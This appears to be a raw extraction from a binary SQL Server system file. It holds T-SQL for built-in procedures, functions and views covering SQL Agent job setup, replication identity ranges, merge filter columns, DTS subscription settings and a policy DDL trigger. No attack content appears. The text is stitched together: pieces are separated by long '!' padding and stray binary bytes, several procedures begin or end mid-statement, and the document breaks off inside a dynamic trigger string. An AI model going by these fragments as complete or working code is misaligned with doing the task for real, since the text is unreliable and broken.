    exec @retcode = msdb.dbo.sp_add_job @job_name=@job_name 
                                ,@enabled=@enabled
                                ,@notify_level_eventlog=0
                                ,@notify_level_email=0
                                ,@notify_level_netsend=0
                                ,@notify_level_page=0 
                                ,@delete_level=0
                                ,@description=@description
                                ,@category_name=@category
                                ,@owner_login_name=@sa_login
                                ,@job_id = @jobid output
    if (@@error != 0 OR @retcode != 0) 
        return 1
    --
    -- Add job step
    --
    exec @retcode = msdb.dbo.sp_add_jobstep @job_id=@jobid
                                ,@step_name=@stepname 
                                ,@step_id=1 
                                ,@cmdexec_success_code=0
                                ,@on_success_action=1
                                ,@on_success_step_id=0 
                                ,@on_fail_action=2
                                ,@on_fail_step_id=0
                                ,@retry_attempts=0
                                ,@retry_interval=0 
                                ,@os_run_priority=0 
                                ,@subsystem=@subsystem
                                ,@command=@command
                                ,@flags=32 -- avoid output truncation
    if (@@error != 0 OR @retcode != 0) 
        return 1
    exec @retcode = msdb.dbo.sp_update_job @job_id = @jobid, @start_step_id = 1
    if (@@error != 0 OR @retcode != 0) 
        return 1
    -- Do we need this ?
    exec msdb.dbo.sp_add_jobserver @job_id = @jobid
    --
    -- special processing for alert job
    --
    if (@type = 4)
    begin
        --
        -- check if schedule exists
        --
        select @schedule_name = isnull(formatmessage(32021), N'Log shipping alert job schedule.')
        select @schedule_id = schedule_id 
        from msdb.dbo.sysschedules_localserver_view 
        where name = @schedule_name
        if (@schedule_id is null)
        begin
            --
            -- add the schedule
            --
            exec @retcode = msdb.dbo.sp_add_schedule @schedule_name = @schedule_name
                                ,@freq_type = 4 -- daily
                                ,@freq_interval=1 -- everyday
                                ,@freq_subday_type = 4 -- minutes
                                ,@freq_subday_interval = 2 -- every 2 minutes
                                ,@owner_login_name=@sa_login
                                ,@schedule_id = @schedule_id output
            if (@@error != 0 OR @retcode != 0) 
                return 1
        end
        --
        -- attach the schedule
        --
        exec @retcode = msdb.dbo.sp_attach_schedule @job_id = @jobid, @schedule_id = @schedule_id
        if (@@error != 0 OR @retcode != 0) 
            return 1
    end
    --
    -- all done
    --
    return 0
end
0V5 8create function sys.fn_numberOf1InVarBinary (@bm varbinary(128))
returns int
as
begin
    declare @len int
    declare @count int
    declare @subbyte binary
    set @count=0
    set @len=DATALENGTH (@bm) 
    while (@len>0)
    begin
            set @subbyte=SUBSTRING(@bm, @len, 1)
            set @count=@count+sys.fn_numberOf1InBinaryAfterLoc(@subbyte, 8)
            set @len=@len-1
    end
    return @count

end
ators.publisher_database_id )
    if @@error <> 0 
        return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!bg``L<90& 8create function sys.fn_remote_foreign_keys(
	@server		sysname,
	@pk_catalog	sysname = NULL,
	@pk_schema	sysname = NULL,
	@pk_name	sysname = NULL,
	@fk_catalog	sysname = NULL,
	@fk_schema	sysname = NULL,
	@fk_name	sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_FOREIGN_KEYS, @server, @pk_catalog, @pk_schema, @pk_name,
		@fk_catalog, @fk_schema, @fk_name)
0x@ G8
create procedure sys.sp_MSsubst_filter_names 
(
    @owner sysname, 
    @table sysname, 
    @filter_clause nvarchar(4000) output
)
as
begin
    set nocount on
    declare @retcode int
            ,@rplc_string nvarchar( 513 )
            ,@srch_string nvarchar(500) 
            ,@expansion int  -- BYTES data will be expanded/contracted by
            ,@subst_offset int -- CHARACTER OFFSET at which to perform string operations

    if @filter_clause is null or @table is null
    begin 
        -- error, @filter_clause cannot be null
        return 1
    end

    select @rplc_string = case when (@owner is null) then N'' else QUOTENAME(@owner) + N'.' end 
                + QUOTENAME(@table)
            ,@srch_string = N'<<TABLE>>'
            ,@subst_offset = 0
    select @expansion = datalength(@rplc_string) - datalength(@srch_string) 

    -- Note!  procedure is case insensitive
    select @subst_offset = charindex( @srch_string, upper(@filter_clause), @subst_offset )
    while( @subst_offset <> 0 )
    begin
        if datalength( @filter_clause ) + @expansion > 8000
        begin
            -- buffer overflow, return error
            return 1
        end
        else
        begin
            select @filter_clause = stuff( @filter_clause, @subst_offset, datalength( @srch_string ) / 2, @rplc_string )
                    ,@subst_offset = @subst_offset + @expansion / 2
        end
        select @subst_offset = charindex( @srch_string, upper(@filter_clause), @subst_offset )
    end

    return 0
end
0 8create procedure sys.sp_checkinvalidivarticle 
	@mode tinyint = 1 -- 0 upgrade, 1 snapshot
	,@publication sysname = NULL
as
begin
	set nocount on 
	
	if @mode = 0
	begin 
		IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) AND
		(ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0) AND
		(ISNULL(IS_MEMBER('db_owner'),0) = 0)
		BEGIN
			RAISERROR(18799, 16, -1) 
			RETURN (1)
		END
	end
	
	declare @artname nvarchar(524)
				,@objname nvarchar(524)
				,@pubname nvarchar(524)
				,@object_id int
				,@result int
				
    -- Only attempt to get an application lock if the caller is 
    -- db_owner as the intention of the lock is for coordinating between
    -- the snapshot agent (db_owner) and ddl replication (requires db_owner
    -- via sp_MSprep_exclusive)
    IF (@mode = 1 and (is_member(N'db_owner') = 1))
    BEGIN
    EXEC @result = sys.sp_getapplock @Resource = @publication, 
                @LockMode = N'Shared', 
                @LockOwner = N'Session', 
                @LockTimeout = 0,
                @DbPrincipal = N'db_owner' -- Note that we already require db_owner because of security check performed at the beginning of the procedure
	    IF @result < 0
	    BEGIN
	        RAISERROR(21385, 16, -1, @publication)
	        RETURN (1)
	    END
    END
				
	declare #hlogbasedarticles cursor local fast_forward for
		select distinct a.name, object_name(a.objid), p.name, a.objid
		from dbo.sysarticles a join dbo.syspublications p on a.pubid = p.pubid
			join syssubscriptions s on s.artid = a.artid 
		where objectproperty(objid, 'IsView') = 1 
			and ((@mode = 1 and p.name = @publication) --snapshot mode
				or (@mode = 0 and s.status in (2, 3)))-- 0 inactive, 1 subscribed, 2 active, 3 initiated

	open #hlogbasedarticles
	fetch #hlogbasedarticles into @artname, @objname, @pubname, @object_id

	while (@@fetch_status <> -1)
	begin			
		-- log-based iv article needs to have active cl index 
		if not exists(select * from sys.indexes where object_id = @object_id 
			and index_id = 1 and is_disabled = 0)
		begin 
			if (@mode = 0) 
			begin 
				raiserror (21857, 10, 1, @artname, @pubname, @objname)
				exec sys.sp_MSreinit_article 
					@publication = @pubname
					,@article = @artname
					,@need_new_snapshot = 1
					,@need_reinit_subscription = 1
					,@force_invalidate_snapshot = 1
					,@force_reinit_subscription = 1
					,@ignore_distributor_failure = 1 -- in case distribtor is not up, we don't want to fail upgrade
			end
			else if(@mode = 1)
			begin
				raiserror (21858, 16, 1, @artname, @pubname, @objname)
			end
		end
		fetch #hlogbasedarticles into @artname, @objname, @pubname, @object_id
	end
	close #hlogbasedarticles 
	deallocate #hlogbasedarticles    
	IF (@mode = 1 and (is_member(N'db_owner') = 1))
    BEGIN
        EXEC sys.sp_releaseapplock @Resource = @publication, @LockOwner = N'Session', @DbPrincipal = N'db_owner'
    END
	return 0
end    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R`HL<K:D6G0l` S8create procedure sys.sp_MSpub_adjust_identity
(
    @artid int = null
    ,@max_identity bigint = null -- used only during initialization
)
as
begin
    set nocount on

    declare @retcode int
            ,@cmd nvarchar(1000)
            ,@objid int, @threshhold int
            ,@pub_range bigint, @next_seed bigint, @current_pub_range bigint
            ,@last_seed bigint, @identity_so_far bigint, @threshold int, @range bigint
            ,@database sysname, @table_name sysname
            ,@qualname nvarchar(517)
            ,@distributor sysname
            ,@distribdb sysname
            ,@publishingservername sysname

    --
    -- Security Check.
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
        
    	--noop if no updatable subscription needauto-identity range management
	if not exists(
        SELECT art1.objid
          FROM sysarticles art1,
               sysarticleupdates art2
          where art1.artid = art2.artid and
                art2.identity_support = 1 and
                (art1.artid = @artid or @artid is null) and
                ObjectProperty(art1.objid, 'TableHasIdentity') = 1)
         return (0)
               
    
    select @database = db_name()
			,@publishingservername = publishingservername()
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                       @distribdb = @distribdb OUTPUT
    IF @@ERROR <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    DECLARE adjust_identity CURSOR LOCAL FAST_FORWARD FOR
        SELECT art1.objid
          FROM sysarticles art1,
               sysarticleupdates art2
          where art1.artid = art2.artid and
                art2.identity_support = 1 and
                (art1.artid = @artid or @artid is null) and
                ObjectProperty(art1.objid, 'TableHasIdentity') = 1 
   FOR READ ONLY

    OPEN adjust_identity        
    FETCH adjust_identity INTO @objid
    WHILE (@@fetch_status <> -1)
    begin
        select @table_name = object_name(@objid)
        exec @retcode = sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
        
        select @range = range, @pub_range = pub_range, @current_pub_range = current_pub_range, 
            @last_seed = last_seed, 
            @threshold = threshold from 
            MSpub_identity_range where objid=@objid
  
        select @identity_so_far = isnull(ident_current(@qualname), ident_seed(@qualname))

        if @last_seed is null
        begin
            -- First time
            select @last_seed = (@identity_so_far / @pub_range) * @pub_range
            -- We always reserve a new range for the publisher without reseeding 
            -- the publisher, and we guarantee to have more slots then 
            -- a full range initially for the publisher.
            if  (@pub_range > 0 and @last_seed < @identity_so_far) or
                (@pub_range < 0 and @last_seed > @identity_so_far)
                select @last_seed = @last_seed + @pub_range

            select @next_seed = @last_seed + @pub_range
            -- Initialize distribution side entry
            SELECT @cmd = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSinsert_identity'
            EXEC @retcode = @cmd
                @publisher = @publishingservername,
                @publisher_db = @database,
                @tablename = @table_name,
                @identity_support = 1,
                @pub_identity_range = 0, -- We don't need this at the distributor
                @identity_range = @range,
                @threshold  = @threshold,
                -- Make sure we don't have gap at the beginning
                @next_seed  = @next_seed,
                @max_identity = @max_identity
            IF @@ERROR <> 0 OR @retcode <> 0
                GOTO UNDO
            -- Add constraint only without reseeding.
            exec @retcode = sys.sp_MSreseed
                @objid = @objid,
                @next_seed = @last_seed,
                @range = @pub_range,
                @is_publisher = -1,
                @check_only = 1,
                @initial_setting = 1,
                @bound_value = @identity_so_far

            IF @@ERROR <> 0 OR @retcode <> 0
                GOTO UNDO
            update MSpub_identity_range set last_seed = @last_seed where objid = @objid
            IF @@ERROR <> 0
                GOTO UNDO
        end
        else
        begin

            -- Leave one slot unused. This is to prevent violation of primary key constraint
            -- if the next value is used by a subscriber and the publisher has received it.
            -- It seems the pk constraint will be validated before this check.
            declare @actual_range int
            if @current_pub_range > 0
                select @actual_range = @current_pub_range -1
            else
                select @actual_range = @current_pub_range +1

            -- Calculate the current ratio
            if 100*(@identity_so_far - @last_seed)/@actual_range >= @threshold
            -- need bump up
            begin
                SELECT @cmd = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSfetchAdjustidentityrange'
                EXEC @retcode = @cmd
                    @publisher = @publishingservername,
                    @publisher_db = @database,
                    @tablename = @table_name,
                    @adjust_only = 1,
                    @for_publisher = 1,
                    @range = @pub_range,
                    @next_seed = @next_seed output
                IF @@ERROR <> 0 OR @retcode <> 0
                    GOTO UNDO

                select @last_seed = @next_seed - @pub_range
                
                update MSpub_identity_range set last_seed = @last_seed,
                    current_pub_range = @pub_range
                    where objid = @objid
                IF @@ERROR <> 0
                    GOTO UNDO
                -- RESEED and change constraint
                exec @retcode = sys.sp_MSreseed
                    @objid = @objid,
                    @next_seed = @last_seed,
                    @range = @pub_range,
                    @is_publisher = -1
                IF @@ERROR <> 0 OR @retcode <> 0
                    GOTO UNDO
            end
        end

        FETCH adjust_identity INTO @objid
    end
    return 0
UNDO:
    -- No need to start a transaction.
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<
;s9> O01 e8
create procedure sys.sp_MScheckvalidsystables
    @validsubs smallint output    -- 0=none, 1=heavyweight,2=lightweight,3=both
AS
    set @validsubs= 0

    -- Check for heavyweight
    if object_id('sysmergesubscriptions', 'U') is not NULL
    begin
        -- Check for non-loopback subscriptions
        if exists (select * from dbo.sysmergesubscriptions
            where db_name=db_name() and 
                  UPPER(subscriber_server) collate database_default = UPPER(@@servername) collate database_default and
                  subid <> pubid and
                  status <> 7 and
                  subscription_type <> 4) -- REPLICA_STATUS_BeforeRestore
        begin
            set @validsubs= 1
        end
        
        -- Check for valid loopback subscriptions.
        -- To be valid, database must be enabled for publishing.
        else if exists (select * from master.dbo.sysdatabases where
                            (category & 4) = 4 and 
                            name = db_name() collate database_default
                        )
                and
                exists (select * from dbo.sysmergesubscriptions    where
                            db_name=db_name() and
                            UPPER(subscriber_server) collate database_default = UPPER(@@servername) collate database_default and
                              status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            set @validsubs= 1
        end
    end

    -- Check for lightweight
    if object_id('MSmerge_rowtrack', 'U') is not NULL
    begin
        if exists (select * from dbo.sysmergesubscriptions where subscription_type = 3 and
                        status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            set @validsubs= @validsubs + 2
        end
    end

    return
0Ũ *
8create procedure sys.sp_MSgetfiltercolumnlist(
@pubid                uniqueidentifier,
@column_list         nvarchar(max) OUTPUT,
@source_objid        int,
@guid_alias            sysname=NULL,
@include_logical_record_link_columns bit = 0
)
AS
begin
    declare @columns    varbinary(128)
    declare @setcolcnt    int
    declare @colcnt        int
    declare @colname    nvarchar(140)
    declare @colid        int
    declare @unqual_sourcename    sysname
    declare @qual_sourcename    nvarchar(140)
    declare @tablenick    int
    declare @include    bit
    declare @filtertype int
    
    if @include_logical_record_link_columns = 1
        select @filtertype = 2
    else
        select @filtertype = 1

    if @guid_alias is NULL
    begin
        select @unqual_sourcename=object_name(@source_objid)
        select @qual_sourcename = QUOTENAME(@unqual_sourcename)
        end
    else
        select @qual_sourcename = @guid_alias
        
    select @columns = columns, @tablenick = nickname from dbo.sysmergearticles where objid = @source_objid and pubid=@pubid
    select @column_list = ''
    select @setcolcnt    = 0
    select @colcnt = count(*) from sys.columns where object_id = @source_objid
    
    declare collist CURSOR LOCAL FAST_FORWARD FOR 
           select name, column_id from sys.columns where object_id = @source_objid order by column_id ASC
        FOR READ ONLY
    
    open collist
    fetch collist into @colname, @colid
    
    while (@@fetch_status <> -1)
    begin
        set @include = 0
        
        if columnproperty(@source_objid, @colname , 'isrowguidcol') = 1 
        begin
            set @include = 1
        end
        else
        begin
            if exists (select * from dbo.sysmergearticles 
                where objid = @source_objid and pubid = @pubid and sys.fn_MSisfilteredcolumn(subset_filterclause, @colname, @source_objid) = 1 )
                set @include = 1
            else if exists (select * from dbo.sysmergesubsetfilters
                where art_nickname = @tablenick and pubid = @pubid and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @source_objid) = 1  and (filter_type & @filtertype) = @filtertype)
                set @include = 1
            else if exists (select * from dbo.sysmergesubsetfilters
                 where join_nickname = @tablenick and pubid = @pubid and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @source_objid) = 1  and (filter_type & @filtertype) = @filtertype)
                set @include = 1
        end

        if @include = 1
        begin
            select @colname = QUOTENAME(@colname) --previously we use rowguidcol to replace 'rowguid'
            if @column_list=''                      --which can cause problems and is not necessary.
                select @column_list = @qual_sourcename + '.' + @colname
            else
                select @column_list = @column_list + ', ' + @qual_sourcename + '.' + @colname    
            select @setcolcnt = @setcolcnt + 1
        end                    
    fetch next from collist into @colname, @colid            
    END
    
    close collist
    deallocate collist
    
    --if @setcolcnt = @colcnt
    --    select @column_list = ' * '

    return 0
end
 Line %d, ' 
					+ 'Message: '+ ERROR_MESSAGE(),
        @ErrorNumber     INT = ERROR_NUMBER(),
        @ErrorSeverity   INT = ERROR_SEVERITY(),
        @ErrorState      INT = ERROR_STATE(),
        @ErrorLine       INT = ERROR_LINE(),
        @ErrorProcedure  NVARCHAR(200) = ISNULL(ERROR_PROCEDURE(), '-');

    RAISERROR 
        (
        @ErrorMessage, 
        @ErrorSeverity, 
        1,               
        @ErrorNumber,    -- parameter: original error number.
        @ErrorSeverity,  -- parameter: original error severity.
        @ErrorState,     -- parameter: original error state.
        @ErrorProcedure, -- parameter: original error procedure name.
        @ErrorLine       -- parameter: original error line number.
        );
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	V
`<<DO=0 8
--
-- Name: sp_changesubscriptiondtsinfo
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_changesubscriptiondtsinfo (
    @job_id varbinary(16),
    @dts_package_name sysname = NULL,
    @dts_package_password sysname = NULL,
    @dts_package_location nvarchar(12) = NULL

    ) AS

    /*
    ** Declarations.
    */

    DECLARE @srvid smallint
    DECLARE @artid int
    DECLARE @retcode int
    declare @login_name sysname
    declare @update_mode int
    declare @subscription_type int
    declare @dts_package_location_id int

    /*
    ** Initializations.
    */
    SET NOCOUNT ON
    
    
    /* 
    ** Get subscription properties and do Security Check.
    ** We use login_name stored in syssubscriptions to manage security 
    */

    select @update_mode = update_mode, @login_name = login_name,
        @subscription_type = subscription_type,
        @artid = artid              
        FROM syssubscriptions s WHERE 
            s.distribution_jobid = @job_id

    /*
    ** Check if the subscription exists.
    */
    IF @update_mode is null
    BEGIN
        RAISERROR (14055, 11, -1)
        RETURN (1)
    END

    if  @update_mode != 0
    begin
        RAISERROR(21180, 16, -1)    
        RETURN (1)
    end

    -- Only push store DTS info at distributor.
    if @subscription_type <> 0
    begin
        RAISERROR(21181, 16, -1)    
        RETURN (1)
    end

    --Security check

    IF  suser_sname(suser_sid()) <> @login_name AND is_srvrolemember('sysadmin') <> 1  
        AND is_member ('db_owner') <> 1
    BEGIN
        -- Only members of the sysadmin fixed server role, db_owner fixed database role or the creator of the subscription can change this subscription property.'
        RAISERROR(21175, 11, -1)
        RETURN (1)
    END

    -- Get pubid
    declare @pubid int
    select @pubid = pubid from sysarticles where artid = @artid

    /* Get subscription type of the publication */
    if not exists (select * from syspublications where
        pubid = @pubid and
        allow_dts = 1)
    begin
        RAISERROR(21178, 16, -1)    
        RETURN (1)
    end

    if @dts_package_location is null
        select @dts_package_location_id = null
    else IF LOWER(@dts_package_location collate SQL_Latin1_General_CP1_CS_AS) = N'distributor' 
        select @dts_package_location_id = 0
    ELSE IF LOWER(@dts_package_location collate SQL_Latin1_General_CP1_CS_AS) = N'subscriber' 
        select @dts_package_location_id = 1
    ELSE 
    begin
        raiserror(20587, 16, -1, '@dts_package_location', 'sp_changesubscriptiondtsinfo')
        return(1)
    end

    -- Encrypt DTS package password
    declare @change_password bit

    if @dts_package_password is null
        select @change_password = 0
    else
    begin
    	IF RTRIM(@dts_package_password) = N''
    	BEGIN
    		-- Use of DTS packages in replication requires a non-NULL/non-empty string password. Specify a valid value for parameter '%s'.
			RAISERROR(21732,16, -1, '@dts_package_password')
			RETURN 1
    	END

        select @change_password = 1
	end
	
    -- When user sends in empty string, reset it to null.
    -- Have to do this before scramble because the result may contains invalid
    -- unicode code points which are equael to some collation.
    if @dts_package_password = N''
        select @dts_package_password = NULL

    declare @enc_dts_package_password nvarchar(524)
        select @enc_dts_package_password = @dts_package_password

    if @enc_dts_package_password is not null
    begin
        EXEC @retcode = sys.sp_MSreplencrypt @enc_dts_package_password OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            return 1
    end

    /*
    ** Get distribution server information for remote RPC
    ** agent verification.
    */
    declare @distributor sysname
    declare @distribdb sysname
    declare @distproc nvarchar(1000)

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
        @distribdb = @distribdb OUTPUT

    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    /*
    ** Call proc to change the distributor
    */
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
        '.dbo.sp_MSchange_subscription_dts_info'

    exec @retcode = @distproc 
        @job_id = @job_id,
        @dts_package_name = @dts_package_name,
        @dts_package_password = @enc_dts_package_password,
        @dts_package_location = @dts_package_location_id,
        @change_password = @change_password

    IF @@error <> 0 OR @retcode <> 0
        RETURN (1)

    RETURN (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`B
0<=1505@ y8CREATE VIEW sys.dm_os_memory_clerks AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMCLERKS)
0]
 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_cache_hash_tables as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_cache_hash_tables
0v+ 	8CREATE PROCEDURE sys.sp_syspolicy_update_ddl_trigger 
AS
    IF (msdb.dbo.fn_syspolicy_is_automation_enabled() = 0)
    BEGIN
        RETURN;
    END

	DECLARE @event_list nvarchar(max)
	SET @event_list = N''

	CREATE TABLE #temp_events (event_name sysname COLLATE database_default)
	-- pick up all the events on policies that have to be enforced 
	INSERT #temp_events 
		SELECT DISTINCT fe.event_name COLLATE database_default
			FROM msdb.dbo.syspolicy_policies pi
			INNER JOIN msdb.dbo.syspolicy_conditions_internal c ON pi.condition_id = c.condition_id
			INNER JOIN msdb.dbo.syspolicy_facet_events fe ON c.facet_id = fe.management_facet_id
			INNER JOIN sys.event_notification_event_types ent ON fe.event_name = ent.type_name COLLATE database_default
			WHERE (pi.execution_mode & 1) = 1 AND pi.is_enabled = 1 AND ent.type < 1000 AND
				EXISTS (SELECT * FROM msdb.dbo.syspolicy_object_sets_internal os WHERE os.object_set_id = pi.object_set_id)

	-- create a cursor so that we can transform the table into a list
	DECLARE event_cursor CURSOR LOCAL FOR 
		SELECT event_name FROM #temp_events
	
	DECLARE @event_name sysname
	OPEN event_cursor
	FETCH NEXT FROM event_cursor INTO @event_name
	WHILE @@FETCH_STATUS = 0
	BEGIN
		SET @event_list = @event_list + @event_name + ','	
		FETCH NEXT FROM event_cursor INTO @event_name
	END

	CLOSE event_cursor
	DEALLOCATE event_cursor

	DROP TABLE #temp_events

	-- take out the last comma
	IF( LEN(@event_list) > 0)
		SET @event_list = SUBSTRING(@event_list, 1, LEN(@event_list)-1)

	-- no more events to read means we drop the trigger
	IF(LEN(@event_list)=0)
	BEGIN
		IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = N'syspolicy_server_trigger')
			DROP TRIGGER [syspolicy_server_trigger] ON ALL SERVER 
		RETURN (0)
	END
		
	DECLARE @mode nvarchar(20)
	IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = N'syspolicy_server_trigger')
		SET @mode = N'	ALTER '
	ELSE 
		SET @mode = N'	CREATE '
		
	DECLARE @statement nvarchar(max)
	SET @statement  = @mode + N'TRIGGER [syspolicy_server_trigger] ON ALL SERVER 
	WITH EXECUTE AS ''##MS_PolicyEventProcessingLogin##''
	FOR ' + @event_list + '
	AS
	BEGIN
		DECLARE @event_data xml
		SELECT @event_data = EVENTDATA()
